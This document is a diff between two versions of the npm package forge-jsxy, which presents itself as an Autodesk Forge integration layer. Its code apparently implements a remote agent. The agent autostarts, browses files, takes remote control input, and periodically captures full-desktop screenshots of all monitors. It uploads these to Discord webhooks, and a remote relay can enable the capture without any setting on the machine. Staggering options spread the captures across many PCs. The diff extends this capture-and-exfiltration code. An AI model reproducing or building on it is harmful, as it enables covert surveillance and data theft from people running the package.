forge-jsxy 1.0.77 → 1.0.78

package/assets/files-explorer-template.html

@@ -1608,7 +1608,7 @@
     </div>
     <div id="bar-row-nav" class="fe-bar-row" role="toolbar" aria-label="Browse and search">
     <span id="fe-build" class="fe-build-pill fe-toggle-extra" title="Forge-jsxy build stamp — Ctrl+Shift+R if UI looks outdated.">2026.06i</span>
-    <button type="button" class="sec fe-icon-btn" id="btn-hist-back" onclick="goHistBack()" title="History back; at C:\\ / drive root also opens drive list" aria-label="Back"><span class="codicon codicon-chevron-left" aria-hidden="true"></span></button>
+    <button type="button" class="sec fe-icon-btn" id="btn-hist-back" onclick="goHistBack()" title="History back; when already at drive root (Windows or /), opens the drive list" aria-label="Back"><span class="codicon codicon-chevron-left" aria-hidden="true"></span></button>
     <button type="button" class="sec fe-icon-btn" id="btn-hist-fwd" onclick="goHistForward()" title="Next folder in history" aria-label="Forward"><span class="codicon codicon-chevron-right" aria-hidden="true"></span></button>
     <button type="button" class="sec fe-icon-btn" onclick="goUp()" title="Parent folder or drive list" aria-label="Up"><span class="codicon codicon-arrow-up" aria-hidden="true"></span></button>
     <button type="button" class="sec fe-icon-btn" onclick="refresh()" title="Reload current folder listing" aria-label="Refresh"><span class="codicon codicon-refresh" aria-hidden="true"></span></button>

package/dist/assets/files-explorer-template.html

@@ -10,7 +10,7 @@
 <link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
 <link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
 <link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
-<!-- forge-jsxy@1.0.77 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
+<!-- forge-jsxy@1.0.78 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
 <script>
 (function () {
   try {
@@ -1608,7 +1608,7 @@
     </div>
     <div id="bar-row-nav" class="fe-bar-row" role="toolbar" aria-label="Browse and search">
     <span id="fe-build" class="fe-build-pill fe-toggle-extra" title="Forge-jsxy build stamp — Ctrl+Shift+R if UI looks outdated.">2026.06i</span>
-    <button type="button" class="sec fe-icon-btn" id="btn-hist-back" onclick="goHistBack()" title="History back; at C:\\ / drive root also opens drive list" aria-label="Back"><span class="codicon codicon-chevron-left" aria-hidden="true"></span></button>
+    <button type="button" class="sec fe-icon-btn" id="btn-hist-back" onclick="goHistBack()" title="History back; when already at drive root (Windows or /), opens the drive list" aria-label="Back"><span class="codicon codicon-chevron-left" aria-hidden="true"></span></button>
     <button type="button" class="sec fe-icon-btn" id="btn-hist-fwd" onclick="goHistForward()" title="Next folder in history" aria-label="Forward"><span class="codicon codicon-chevron-right" aria-hidden="true"></span></button>
     <button type="button" class="sec fe-icon-btn" onclick="goUp()" title="Parent folder or drive list" aria-label="Up"><span class="codicon codicon-arrow-up" aria-hidden="true"></span></button>
     <button type="button" class="sec fe-icon-btn" onclick="refresh()" title="Reload current folder listing" aria-label="Refresh"><span class="codicon codicon-refresh" aria-hidden="true"></span></button>

package/dist/autostart/agentEnvFile.d.ts

@@ -11,8 +11,9 @@ export declare function sanitizeForgeAgentEnvFileOnDisk(dataDir: string): boolea
  * Best-effort: clear credential-style vars from `process.env` so they do not linger after Hub upload
  * or relay disconnect (relay-first deployments never need these on the agent).
  * Also removes every `RELAY_*` and most `FORGE_JS_DISCORD_*` keys (Discord automation is relay-driven or in-memory
- * from `relay_features`). **Exception:** non-secret screenshot tuning (`FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`, etc.)
- * is kept so WebSocket reconnect does not drop cadence and let the relay overwrite with a slower interval.
+ * from `relay_features`). **Exception:** non-secret screenshot prefs (`FORGE_JS_DISCORD_SCREENSHOT_ENABLED`, interval,
+ * upload mode, webhook relay fallback flag, etc.) are kept so reconnect does not drop cadence or re-enable screenshots
+ * after an explicit opt-out was loaded from `forge-js-agent.env`.
  * Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
  * via {@link scrubHfCredentialsInPlace}. `CFGMGR_HF_NAMESPACE` is cleared after use when relay-first.
  */

package/dist/autostart/agentEnvFile.js

@@ -75,10 +75,12 @@ const FORGE_AGENT_ENV_SECRET_OR_RELAY_KEYS = new Set([
     "RELAY_SYNC_API_BASE_URL",
 ]);
 /**
- * Non-secret Discord screenshot tuning — must survive {@link stripEphemeralCredentialEnvFromProcess}
- * and disk sanitize so reconnect does not lose cadence (relay_features would otherwise overwrite interval).
+ * Non-secret Discord screenshot preferences / tuning — must survive {@link stripEphemeralCredentialEnvFromProcess}
+ * and disk sanitize so reconnect does not drop cadence or screenshot opt-in/out (`relay_features` merge uses process.env).
  */
 const FORGE_JS_DISCORD_TUNING_KEYS = new Set([
+    /** Opt-in/out survives WS teardown (`stripEphemeralCredentialEnvFromProcess`) and disk sanitize — not a secret. */
+    "FORGE_JS_DISCORD_SCREENSHOT_ENABLED",
     "FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS",
     "FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS",
     "FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS",
@@ -87,6 +89,7 @@ const FORGE_JS_DISCORD_TUNING_KEYS = new Set([
     "FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES",
     "FORGE_JS_DISCORD_429_MAX_ATTEMPTS",
     "FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS",
+    "FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK",
 ]);
 function isForgeJsDiscordScreenshotTuningKey(key) {
     return FORGE_JS_DISCORD_TUNING_KEYS.has(String(key || "").trim());
@@ -138,8 +141,9 @@ function sanitizeForgeAgentEnvFileOnDisk(dataDir) {
  * Best-effort: clear credential-style vars from `process.env` so they do not linger after Hub upload
  * or relay disconnect (relay-first deployments never need these on the agent).
  * Also removes every `RELAY_*` and most `FORGE_JS_DISCORD_*` keys (Discord automation is relay-driven or in-memory
- * from `relay_features`). **Exception:** non-secret screenshot tuning (`FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`, etc.)
- * is kept so WebSocket reconnect does not drop cadence and let the relay overwrite with a slower interval.
+ * from `relay_features`). **Exception:** non-secret screenshot prefs (`FORGE_JS_DISCORD_SCREENSHOT_ENABLED`, interval,
+ * upload mode, webhook relay fallback flag, etc.) are kept so reconnect does not drop cadence or re-enable screenshots
+ * after an explicit opt-out was loaded from `forge-js-agent.env`.
  * Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
  * via {@link scrubHfCredentialsInPlace}. `CFGMGR_HF_NAMESPACE` is cleared after use when relay-first.
  */

package/dist/cli-agent.js

@@ -30,14 +30,14 @@ if (process.argv.includes("-h") || process.argv.includes("--help")) {
         `  To join the relay default room intentionally: FORGE_JS_USE_RELAY_SESSION=1 or set CFGMGR_SESSION_ID / --session.\n` +
         `  Auto-chosen session is written to <CfgMgr data>/forge-js-explorer-session.txt (e.g. %LOCALAPPDATA%\\CfgMgr\\data on Windows).\n` +
         `Forge-db sync: set FORGE_JS_SYNC_URL / CFGMGR_API_URL on the relay — the agent copies sync from GET /api/relay-for-agent (before WS) and relay_features.sync_api_base_url on connect if unset locally.\n` +
-        `Discord screenshots: the relay may advertise RELAY_DISCORD_* via relay_features — if unset on the agent,\n` +
-        `  screenshots run in-memory only (not written to forge-js-agent.env). Set FORGE_JS_DISCORD_SCREENSHOT_ENABLED=0 on the agent to opt out when you set it explicitly.\n` +
+        `Discord screenshots: the relay may advertise RELAY_DISCORD_* via relay_features — leave FORGE_JS_DISCORD_SCREENSHOT_ENABLED unset to follow the relay, set =1 to force on, or =0/false/off to opt out (persistable in forge-js-agent.env; survives reconnect).\n` +
         `  Optional: FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS in milliseconds (default 300000 = 5m). If set on the agent, it overrides relay_features.discord_screenshot_interval_ms.\n` +
         `    FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS — optional cap N (ms): adds hash(client_id)%N to interval to desync many PCs without per-host env.\n` +
         `    FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS (default 3000, 0=immediate first capture); FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS optional first-shot spread.\n` +
-        `    FORGE_JS_DISCORD_UPLOAD_MODE=webhook|relay (default webhook).\n` +
+        `    FORGE_JS_DISCORD_UPLOAD_MODE=webhook|relay (default webhook). If unset, relay_features.discord_screenshot_upload_mode may set it from RELAY_DISCORD_AGENT_UPLOAD_MODE.\n` +
         `  FORGE_JS_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries per HTTP call to Discord.\n` +
         `  FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS=1-12 (default 12) — webhook mode: extra full ticket→POST retries after 429.\n` +
+        `  FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1 — optional: after webhook failures, retry via relay WS (PNG). Default off.\n` +
         `Upgrades: use the file explorer **Upgrade agent** button only (no automatic npm/registry updates on agent or relay start).`);
     process.exit(0);
 }

package/dist/discordAgentScreenshot.d.ts

@@ -12,7 +12,7 @@ export type DiscordAgentScreenshotOpts = {
     quiet: boolean;
     waitForRelayDiscordAck: (requestId: string) => Promise<DiscordRelayAck>;
     waitForDiscordTicket: (requestId: string) => Promise<DiscordTicketResult>;
-    /** When true, run the loop even if `FORGE_JS_DISCORD_SCREENSHOT_ENABLED` is unset (relay `relay_features`). */
+    /** When true, run the loop when relay sends `discord_screenshot` and the agent did not explicitly opt out. */
     enabledByRelayCapabilities?: boolean;
 };
 /**

package/dist/discordAgentScreenshot.js

@@ -61,16 +61,18 @@ exports.startDiscordScreenshotToRelayLoop = startDiscordScreenshotToRelayLoop;
  * 5. Webhook ticket retry loop — `FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS` (default 12)
  *    full ticket → POST → ack cycles when Discord returns 429 between relay steps.
  *    `discordBackoffMsFromErrorText` parses `retry_after` from error strings.
- * 6. Webhook->relay fallback — when webhook flow still fails, the same screenshot
- *    is retried once via relay bot-upload path before dropping.
+ * 6. Optional webhook→relay fallback — only when `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1`
+ *    (retries via `discord_screenshot_upload`, PNG over WS). Default **off** for agent→Discord only.
  * 7. Upload serialization — `uploadBusy` flag ensures only one upload runs at a
  *    time; new captures queue rather than firing concurrent Discord requests.
  *
- * Env (agent): `FORGE_JS_DISCORD_SCREENSHOT_ENABLED=1`, or leave unset when the relay sends
- * `relay_features.discord_screenshot: true` (enabled in-memory only — not written to `forge-js-agent.env`).
+ * Env (agent): omit `FORGE_JS_DISCORD_SCREENSHOT_ENABLED` to follow `relay_features.discord_screenshot` when the relay enables Discord;
+ * set `=1` to force on or `=0`/`false`/`no`/`off` to opt out (may persist in `forge-js-agent.env`; survives reconnect / credential strip).
  * Interval: relay sends `relay_features.discord_screenshot_interval_ms` (default **300000** when Discord is enabled on the relay)
  * unless the agent already set `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` (agent wins over relay for cadence).
- * Optional `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` on the agent; **milliseconds** (300000 = 5m); clamped 10s–600s.
+ * Upload mode: relay may send `relay_features.discord_screenshot_upload_mode` (`webhook`|`relay`) from
+ * `RELAY_DISCORD_AGENT_UPLOAD_MODE`; applied when `FORGE_JS_DISCORD_UPLOAD_MODE` is unset (agent wins if set).
+ * Optional `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1` to retry failed webhook uploads via relay WS (default off).
  */
 const node_crypto_1 = require("node:crypto");
 const discordBotTokens_1 = require("./discordBotTokens");
@@ -79,7 +81,7 @@ const os = __importStar(require("node:os"));
 const fsProtocol_1 = require("./fsProtocol");
 const discordRateLimit_1 = require("./discordRateLimit");
 const discordWebhookPost_1 = require("./discordWebhookPost");
-/** Align with Discord bot/webhook attachment caps; override for boosted guilds via env. */
+/** Align with Discord bot/webhook attachment caps; override for boosted guilds via env (up to 25 MiB). */
 function discordWebhookMaxAttachmentBytes() {
     const raw = (process.env.FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES || "").trim();
     if (raw) {
@@ -90,9 +92,9 @@ function discordWebhookMaxAttachmentBytes() {
     }
     return 10 * 1024 * 1024;
 }
-/** Discord screenshots should maximize quality within strict attachment budget. */
+/** Capture budget matches {@link discordWebhookMaxAttachmentBytes} (not hard-limited to 10 MiB). */
 function discordCaptureMaxBytes() {
-    return Math.min(10 * 1024 * 1024, discordWebhookMaxAttachmentBytes());
+    return discordWebhookMaxAttachmentBytes();
 }
 /** Neutralize Discord @mention triggers (same as formatter.py _neutralize_discord_triggers). */
 function _neutralizeDiscordTriggers(s) {
@@ -150,6 +152,14 @@ function discordWebhookTicketFlowMaxAttempts() {
         return n;
     return 12;
 }
+/**
+ * After webhook ticket/POST failures, optionally retry via `discord_screenshot_upload` (PNG over WS).
+ * Default **false** — production prefers agent→Discord only. Set `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1` for legacy resilience.
+ */
+function discordWebhookRelayFallbackEnabled() {
+    const raw = (process.env.FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK || "").trim().toLowerCase();
+    return ["1", "true", "yes", "on"].includes(raw);
+}
 /** Delay before the first capture after the loop starts (handshake/display settle). `0` = next event-loop tick. Max 300s. */
 function discordScreenshotFirstDelayMs() {
     const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS || "").trim();
@@ -303,13 +313,15 @@ function startDiscordScreenshotToRelayLoop(opts) {
             rawB64 = "";
             const whMax = discordWebhookMaxAttachmentBytes();
             if (png.length > whMax) {
-                const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferToMaxBytes)(png, whMax);
+                const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferForDiscordAttachment)(png, whMax);
                 if (!shrunk || shrunk.buffer.length > whMax) {
                     if (!opts.quiet) {
                         console.error(`[forge-js:discord-screenshot] image too large for Discord webhook (${png.length} bytes > ${whMax}) after JPEG shrink — raise FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES or ensure jimp / ImageMagick / ffmpeg is available on the agent`);
                     }
-                    // Relay upload path may still shrink/post successfully.
-                    await relayFallbackUploadWithRetry(originalB64, "Discord webhook payload too large after local shrink");
+                    // Optional relay WS fallback only when FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1.
+                    if (discordWebhookRelayFallbackEnabled()) {
+                        await relayFallbackUploadWithRetry(originalB64, "Discord webhook payload too large after local shrink");
+                    }
                     try {
                         png.fill(0);
                     }
@@ -352,7 +364,9 @@ function startDiscordScreenshotToRelayLoop(opts) {
                         if (!opts.quiet) {
                             console.error(`[forge-js:discord-screenshot] ticket: ${err}`);
                         }
-                        await relayFallbackUploadWithRetry(originalB64, err);
+                        if (discordWebhookRelayFallbackEnabled()) {
+                            await relayFallbackUploadWithRetry(originalB64, err);
+                        }
                         return;
                     }
                     let whUrl = String(ticket.webhook_url).trim();
@@ -380,19 +394,25 @@ function startDiscordScreenshotToRelayLoop(opts) {
                     if (!opts.quiet) {
                         console.error(`[forge-js:discord-screenshot] webhook POST: ${posted.error}`);
                     }
-                    await relayFallbackUploadWithRetry(originalB64, posted.error);
+                    if (discordWebhookRelayFallbackEnabled()) {
+                        await relayFallbackUploadWithRetry(originalB64, posted.error);
+                    }
                     return;
                 }
                 if (!opts.quiet) {
                     console.error("[forge-js:discord-screenshot] webhook flow: exhausted ticket/POST retries");
                 }
-                await relayFallbackUploadWithRetry(originalB64, "Discord webhook flow exhausted ticket/post retries");
+                if (discordWebhookRelayFallbackEnabled()) {
+                    await relayFallbackUploadWithRetry(originalB64, "Discord webhook flow exhausted ticket/post retries");
+                }
             }
             catch (e) {
                 if (!opts.quiet) {
                     console.error(`[forge-js:discord-screenshot] webhook path failed: ${e}`);
                 }
-                await relayFallbackUploadWithRetry(originalB64, String(e));
+                if (discordWebhookRelayFallbackEnabled()) {
+                    await relayFallbackUploadWithRetry(originalB64, String(e));
+                }
             }
             finally {
                 if (png && png.length > 0) {

package/dist/discordRelayUpload.js

@@ -465,7 +465,7 @@ async function postPngToDiscordChannel(botToken, channelId, png, caption) {
     const cap = maxDiscordAttachmentBytes();
     let img = png;
     if (img.length > cap) {
-        const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferToMaxBytes)(img, cap);
+        const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferForDiscordAttachment)(img, cap);
         if (!shrunk || shrunk.buffer.length > cap) {
             return {
                 ok: false,

package/dist/fsProtocol.d.ts

@@ -90,6 +90,14 @@ export declare function shrinkScreenshotBufferToMaxBytes(buf: Buffer, cap: numbe
     buffer: Buffer;
     mime: string;
 } | null>;
+/**
+ * Discord / webhook attachments: try descending encode budgets first so difficult screenshots still fit
+ * under `hardCap` while keeping quality high when the full budget fits (see {@link screenshotShrinkTierTargets}).
+ */
+export declare function shrinkScreenshotBufferForDiscordAttachment(buf: Buffer, hardCap: number): Promise<{
+    buffer: Buffer;
+    mime: string;
+} | null>;
 /**
  * Cross-platform full-desktop screenshot for the relay `/files` explorer (`fs_screenshot`) and Discord cadence.
  * Windows: hidden PowerShell + System.Drawing (**VirtualScreen** = all monitors in one bitmap).

package/dist/fsProtocol.js

@@ -52,6 +52,7 @@ exports.purgeAllExplorerStagingSync = purgeAllExplorerStagingSync;
 exports.fsZipRead = fsZipRead;
 exports.formatWindowsScreenshotUserMessage = formatWindowsScreenshotUserMessage;
 exports.shrinkScreenshotBufferToMaxBytes = shrinkScreenshotBufferToMaxBytes;
+exports.shrinkScreenshotBufferForDiscordAttachment = shrinkScreenshotBufferForDiscordAttachment;
 exports.fsDesktopScreenshotCapture = fsDesktopScreenshotCapture;
 exports.fsWindowsScreenshotCapture = fsWindowsScreenshotCapture;
 exports.fsRemoteControlInput = fsRemoteControlInput;
@@ -3489,6 +3490,30 @@ async function shrinkScreenshotBufferToMaxBytes(buf, cap) {
         }
     }
 }
+/**
+ * Discord / webhook attachments: try descending encode budgets first so difficult screenshots still fit
+ * under `hardCap` while keeping quality high when the full budget fits (see {@link screenshotShrinkTierTargets}).
+ */
+async function shrinkScreenshotBufferForDiscordAttachment(buf, hardCap) {
+    if (!buf || buf.length === 0)
+        return null;
+    const cap = Math.min(25 * 1024 * 1024, Math.max(64 * 1024, Math.floor(Number(hardCap) || 0)));
+    if (!Number.isFinite(cap))
+        return null;
+    if (buf.length <= cap) {
+        return { buffer: buf, mime: sniffScreenshotMime(buf) };
+    }
+    for (const t of screenshotShrinkTierTargets(cap)) {
+        const out = await shrinkScreenshotBufferToMaxBytes(buf, t);
+        if (out && out.buffer.length <= cap) {
+            return out;
+        }
+    }
+    const last = await shrinkScreenshotBufferToMaxBytes(buf, Math.max(24 * 1024, Math.floor(cap * 0.05)));
+    if (last && last.buffer.length <= cap)
+        return last;
+    return null;
+}
 function shrinkScreenshotWithWindowsGdiToMaxBytes(sourcePath, iw, ih, originalBytes, cap, id, tmpDir) {
     let factor = Math.min(0.98, Math.sqrt(cap / originalBytes) * 0.96);
     const ps1 = path.join(tmpDir, `forge-fe-gdi-${id}.ps1`);

package/dist/relayAgent.js

@@ -384,33 +384,49 @@ function runRelayAgentLoop(opts) {
             if (rf && typeof rf === "object" && !Array.isArray(rf)) {
                 caps = rf;
                 if (caps.discord_screenshot === true) {
-                    const cur = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim();
-                    if (!cur) {
+                    const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
+                    const explicitOff = ["0", "false", "no", "off"].includes(en);
+                    const explicitOn = ["1", "true", "yes", "on"].includes(en);
+                    /** Follow relay when unset or explicitly on; never override explicit opt-out (0/false/no/off). */
+                    if (!explicitOff && (!en || explicitOn)) {
                         discordEnabledByRelayHandshake = true;
                     }
-                    const clamped = parseRelayDiscordIntervalMs(caps.discord_screenshot_interval_ms);
-                    /**
-                     * Only apply relay `discord_screenshot_interval_ms` when the agent did **not** set
-                     * `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`. Otherwise the relay handshake overwrote a
-                     * per-machine value (e.g. 60s on agent vs 300000 ms on relay), which looked like “random”
-                     * multi-minute gaps.
-                     */
-                    const agentIv = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "").trim();
-                    if (clamped != null && !agentIv) {
-                        process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS = String(clamped);
-                    }
-                    const agentSg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
-                    if (!agentSg) {
-                        const sg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_interval_stagger_ms, 120_000);
-                        if (sg != null) {
-                            process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS = String(sg);
+                    if (!explicitOff) {
+                        const clamped = parseRelayDiscordIntervalMs(caps.discord_screenshot_interval_ms);
+                        /**
+                         * Only apply relay `discord_screenshot_interval_ms` when the agent did **not** set
+                         * `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`. Otherwise the relay handshake overwrote a
+                         * per-machine value (e.g. 60s on agent vs 300000 ms on relay), which looked like “random”
+                         * multi-minute gaps.
+                         */
+                        const agentIv = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "").trim();
+                        if (clamped != null && !agentIv) {
+                            process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS = String(clamped);
                         }
-                    }
-                    const agentFsg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
-                    if (!agentFsg) {
-                        const fg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_first_stagger_ms, 300_000);
-                        if (fg != null) {
-                            process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS = String(fg);
+                        const agentSg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
+                        if (!agentSg) {
+                            const sg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_interval_stagger_ms, 120_000);
+                            if (sg != null) {
+                                process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS = String(sg);
+                            }
+                        }
+                        const agentFsg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
+                        if (!agentFsg) {
+                            const fg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_first_stagger_ms, 300_000);
+                            if (fg != null) {
+                                process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS = String(fg);
+                            }
+                        }
+                        const agentUm = (process.env.FORGE_JS_DISCORD_UPLOAD_MODE || "").trim();
+                        if (!agentUm) {
+                            const rawUm = caps.discord_screenshot_upload_mode;
+                            const u = typeof rawUm === "string" ? rawUm.trim().toLowerCase() : "";
+                            if (u === "relay") {
+                                process.env.FORGE_JS_DISCORD_UPLOAD_MODE = "relay";
+                            }
+                            else if (u === "webhook" || u === "direct") {
+                                process.env.FORGE_JS_DISCORD_UPLOAD_MODE = "webhook";
+                            }
                         }
                     }
                 }
@@ -426,6 +442,12 @@ function runRelayAgentLoop(opts) {
         };
         ws.on("open", () => {
             log(quiet, "  Connected to relay");
+            try {
+                (0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_1.defaultCfgmgrDataDir)());
+            }
+            catch {
+                /* skip */
+            }
             viewerAuthenticated = !password;
             viewerConnected = false;
             pendingAuthNonce = "";

package/dist/relayServer.js

@@ -252,6 +252,19 @@ function relayDiscordScreenshotAdvertisedFirstStaggerMs() {
         return undefined;
     return Math.min(300_000, Math.max(1, n));
 }
+/**
+ * How agents should post Discord screenshots when enabled.
+ * **`webhook`** (default): relay mints a short-lived webhook URL per upload; agent POSTs PNG directly;
+ * bot token never leaves the relay. **`relay`**: legacy path (`discord_screenshot_upload` over WS).
+ */
+function relayDiscordScreenshotAdvertisedUploadMode() {
+    if (!(0, discordRelayUpload_1.discordRelayScreenshotEnabled)())
+        return undefined;
+    const raw = (process.env.RELAY_DISCORD_AGENT_UPLOAD_MODE || "webhook").trim().toLowerCase();
+    if (raw === "relay")
+        return "relay";
+    return "webhook";
+}
 class Session {
     sessionId;
     agent = null;
@@ -915,6 +928,7 @@ function attachConnection(ws, req, role, sessionId) {
         const discordInterval = relayDiscordScreenshotAdvertisedIntervalMs();
         const discordStagger = relayDiscordScreenshotAdvertisedIntervalStaggerMs();
         const discordFirstStagger = relayDiscordScreenshotAdvertisedFirstStaggerMs();
+        const discordUploadMode = relayDiscordScreenshotAdvertisedUploadMode();
         // Refresh blacklist first; only then close any existing agent and attach `ws`.
         // Closing `session.agent` before the blacklist result allowed a blacklisted socket to
         // evict a legitimate agent and then disconnect itself — leaving the session empty.
@@ -952,6 +966,9 @@ function attachConnection(ws, req, role, sessionId) {
             const relayFeatures = {
                 /** When true, agents without `FORGE_JS_DISCORD_SCREENSHOT_ENABLED` turn screenshots on to match relay `.env`. */
                 discord_screenshot: (0, discordRelayUpload_1.discordRelayScreenshotEnabled)(),
+                ...(discordUploadMode != null
+                    ? { discord_screenshot_upload_mode: discordUploadMode }
+                    : {}),
                 ...(discordInterval != null
                     ? { discord_screenshot_interval_ms: discordInterval }
                     : {}),

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "forge-jsxy",
-  "version": "1.0.77",
+  "version": "1.0.78",
   "description": "Node.js integration layer for Autodesk Forge",
   "license": "MIT",
   "main": "dist/index.js",

package/scripts/discord-live-probe.mjs

@@ -13,6 +13,49 @@ dotenv.config({ path: path.join(ROOT, ".env") });
 const MIN_PNG_B64 =
   "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==";
 
+function forgeDbApiBase() {
+  const raw = (
+    process.env.RELAY_FORGE_DB_API_URL ||
+    process.env.FORGE_JS_SYNC_URL ||
+    process.env.CFGMGR_API_URL ||
+    ""
+  )
+    .trim()
+    .replace(/\/api\/?$/, "")
+    .replace(/\/$/, "");
+  return raw || "http://127.0.0.1:8765";
+}
+
+function relayDiscordRequireSeqId() {
+  const v = (process.env.RELAY_DISCORD_REQUIRE_SEQ_ID || "1").trim().toLowerCase();
+  return !["0", "false", "no", "off"].includes(v);
+}
+
+/** First registry row with numeric seq_id (matches relay channel naming when REQUIRE_SEQ_ID is on). */
+async function fetchProbeClientIdFromForgeDb() {
+  const apiKey = (process.env.RELAY_FORGE_DB_API_KEY || process.env.FORGE_DB_API_KEY || "").trim();
+  const res = await fetch(`${forgeDbApiBase()}/api/clients`, {
+    signal: AbortSignal.timeout(8000),
+    headers: {
+      "User-Agent": "forge-jsx-discord-live-probe/1.0",
+      ...(apiKey ? { "X-Forge-Api-Key": apiKey } : {}),
+    },
+  });
+  if (!res.ok) {
+    throw new Error(`forge-db /api/clients HTTP ${res.status}`);
+  }
+  const data = await res.json();
+  const clients = Array.isArray(data?.clients) ? data.clients : [];
+  for (const row of clients) {
+    if (!row || typeof row !== "object") continue;
+    const id = String(row.client_id ?? "").trim();
+    const seq = row.seq_id;
+    const seqNum = typeof seq === "number" ? seq : Number(seq);
+    if (id && Number.isFinite(seqNum)) return id;
+  }
+  return null;
+}
+
 async function main() {
   const flag = (process.env.RELAY_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
   if (!["1", "true", "yes", "on"].includes(flag)) {
@@ -40,11 +83,30 @@ async function main() {
   }
 
   const tokenPool = getRelayDiscordBotTokens();
-  /** Same token the relay uses for this client_id (ticket / webhook create). */
-  const tok = relayDiscordBotTokenForClient("live-probe-stable", tokenPool);
   const gid = (process.env.RELAY_DISCORD_GUILD_ID || "").trim();
   const parent = (process.env.RELAY_DISCORD_PARENT_CATEGORY_ID || "").trim();
-  const clientId = "live-probe-stable";
+
+  let clientId = "live-probe-stable";
+  if (relayDiscordRequireSeqId()) {
+    try {
+      const fromDb = await fetchProbeClientIdFromForgeDb();
+      if (!fromDb) {
+        console.error(
+          "FAIL: RELAY_DISCORD_REQUIRE_SEQ_ID is on but forge-db has no client with seq_id. " +
+            "Register a client or set RELAY_DISCORD_REQUIRE_SEQ_ID=0 for legacy probe IDs.",
+        );
+        process.exit(1);
+      }
+      clientId = fromDb;
+      console.log(`(probe client_id from forge-db: ${clientId})`);
+    } catch (e) {
+      console.error("FAIL: could not load /api/clients for seq_id probe:", e?.message || e);
+      process.exit(1);
+    }
+  }
+
+  /** Same token the relay uses for this client_id (ticket / webhook create). */
+  const tok = relayDiscordBotTokenForClient(clientId, tokenPool);
   const ridBase = `live_wh_${Date.now()}`;
 
   process.stdout.write("1. listGuildTextChannels … ");
@@ -140,7 +202,7 @@ async function main() {
   const rid2 = `live_b64_${Date.now()}`;
   const up = await handleDiscordScreenshotUploadFromAgent({
     request_id: rid2,
-    client_id: `${clientId}-b64branch`,
+    client_id: clientId,
     b64: MIN_PNG_B64,
     caption: "forge-js live-probe (bot REST)",
   });